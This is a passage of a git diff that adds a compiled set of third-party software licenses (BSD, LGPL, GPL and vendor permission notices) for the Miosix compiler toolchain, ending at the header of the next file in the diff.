OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(12) SuperH, Inc. + +Copyright 2002 SuperH, Inc. All rights reserved + +This software is the property of SuperH, Inc (SuperH) which specifically +grants the user the right to modify, use and distribute this software +provided this notice is not removed or altered. All other rights are +reserved by SuperH. + +SUPERH MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO +THIS SOFTWARE. IN NO EVENT SHALL SUPERH BE LIABLE FOR INDIRECT, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH OR ARISING FROM +THE FURNISHING, PERFORMANCE, OR USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the SuperH Support Center via +e-mail at softwaresupport@superh.com . + +SuperH, Inc. +405 River Oaks Parkway +San Jose +CA 95134 +USA + +(13) Royal Institute of Technology + +Copyright (c) 1999 Kungliga Tekniska Högskolan +(Royal Institute of Technology, Stockholm, Sweden). +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of KTH nor the names of its contributors may be + used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY KTH AND ITS CONTRIBUTORS ``AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KTH OR ITS CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR +BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(14) Alexey Zelkin + +Copyright (c) 2000, 2001 Alexey Zelkin +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(15) Andrey A. Chernov + +Copyright (C) 1997 by Andrey A. Chernov, Moscow, Russia. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(16) FreeBSD + +Copyright (c) 1997-2002 FreeBSD Project. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(17) S. L. Moshier + +Author: S. L. Moshier. + +Copyright (c) 1984,2000 S.L. Moshier + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, THE AUTHOR MAKES NO REPRESENTATION +OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS +SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +(18) Citrus Project + +Copyright (c)1999 Citrus Project, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(19) Todd C. Miller + +Copyright (c) 1998 Todd C. Miller +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(20) DJ Delorie (i386) +Copyright (C) 1991 DJ Delorie +All rights reserved. + +Redistribution, modification, and use in source and binary forms is permitted +provided that the above copyright notice and following paragraph are +duplicated in all such forms. + +This file is distributed WITHOUT ANY WARRANTY; without even the implied +warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +(21) Free Software Foundation LGPL License (*-linux* targets only) + + Copyright (C) 1990-1999, 2000, 2001 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Mark Kettenis , 1997. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + +(22) Xavier Leroy LGPL License (i[3456]86-*-linux* targets only) + +Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU Library General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Library General Public License for more details. + +(23) Intel (i960) + +Copyright (c) 1993 Intel Corporation + +Intel hereby grants you permission to copy, modify, and distribute this +software and its documentation. Intel grants this permission provided +that the above copyright notice appears in all copies and that both the +copyright notice and this permission notice appear in supporting +documentation. In addition, Intel grants this permission provided that +you prominently mark as "not part of the original" any modifications +made to this software or documentation, and that the name of Intel +Corporation not be used in advertising or publicity pertaining to +distribution of the software or the documentation without specific, +written prior permission. + +Intel Corporation provides this AS IS, WITHOUT ANY WARRANTY, EXPRESS OR +IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Intel makes no guarantee or +representations regarding the use of, or the results of the use of, +the software and documentation in terms of correctness, accuracy, +reliability, currentness, or otherwise; and you rely on the software, +documentation and results solely at your own risk. + +IN NO EVENT SHALL INTEL BE LIABLE FOR ANY LOSS OF USE, LOSS OF BUSINESS, +LOSS OF PROFITS, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES +OF ANY KIND. IN NO EVENT SHALL INTEL'S TOTAL LIABILITY EXCEED THE SUM +PAID TO INTEL FOR THE PRODUCT LICENSED HEREUNDER. + +(24) Hewlett-Packard (hppa targets only) + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(25) Henry Spencer (only *-linux targets) + +Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved. +This software is not subject to any license of the American Telephone +and Telegraph Company or of the Regents of the University of California. + +Permission is granted to anyone to use this software for any purpose on +any computer system, and to alter it and redistribute it, subject +to the following restrictions: + +1. The author is not responsible for the consequences of use of this + software, no matter how awful, even if they arise from flaws in it. + +2. The origin of this software must not be misrepresented, either by + explicit claim or by omission. Since few users ever read sources, + credits must appear in the documentation. + +3. Altered versions must be plainly marked as such, and must not be + misrepresented as being the original software. Since few users + ever read sources, credits must appear in the documentation. + +4. This notice may not be removed or altered. + +(26) Mike Barcroft + +Copyright (c) 2001 Mike Barcroft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(27) Konstantin Chuguev (--enable-newlib-iconv) + +Copyright (c) 1999, 2000 + Konstantin Chuguev. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + iconv (Charset Conversion Library) v2.0 + +(28) Artem Bityuckiy (--enable-newlib-iconv) + +Copyright (c) 2003, Artem B. Bityuckiy, SoftMine Corporation. +Rights transferred to Franklin Electronic Publishers. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(29) IBM, Sony, Toshiba (only spu-* targets) + + (C) Copyright 2001,2006, + International Business Machines Corporation, + Sony Computer Entertainment, Incorporated, + Toshiba Corporation, + + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the names of the copyright holders nor the names of their + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +(30) - Alex Tatmanjants (targets using libc/posix) + + Copyright (c) 1995 Alex Tatmanjants + at Electronni Visti IA, Kiev, Ukraine. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(31) - M. Warner Losh (targets using libc/posix) + + Copyright (c) 1998, M. Warner Losh + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(32) - Andrey A. Chernov (targets using libc/posix) + + Copyright (C) 1996 by Andrey A. Chernov, Moscow, Russia. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(33) - Daniel Eischen (targets using libc/posix) + + Copyright (c) 2001 Daniel Eischen . + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(34) - Jon Beniston (only lm32-* targets) + + Contributed by Jon Beniston + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. 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All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of Xilinx nor the names of its contributors may be +used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. 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(epiphany-* targets) + +Copyright (c) 2011, Adapteva, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of Adapteva nor the names of its contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=== lpc21isp License === + +Copyright: (c) Martin Maurer 2003-2014, All rights reserved +Portions Copyright (c) by Aeolus Development 2004 http://www.aeolusdevelopment.com + +This file is part of lpc21isp. +lpc21isp is free software: you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. +lpc21isp is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Lesser General Public License for more details. +You should have received a copy of the GNU Lesser General Public License +and GNU General Public License along with lpc21isp. +If not, see . + +=== mx-postlinker License === + +Copyright (C) 2012 by Luigi Rucco and Terraneo Federico + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + + This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, see diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/welcome.rtf 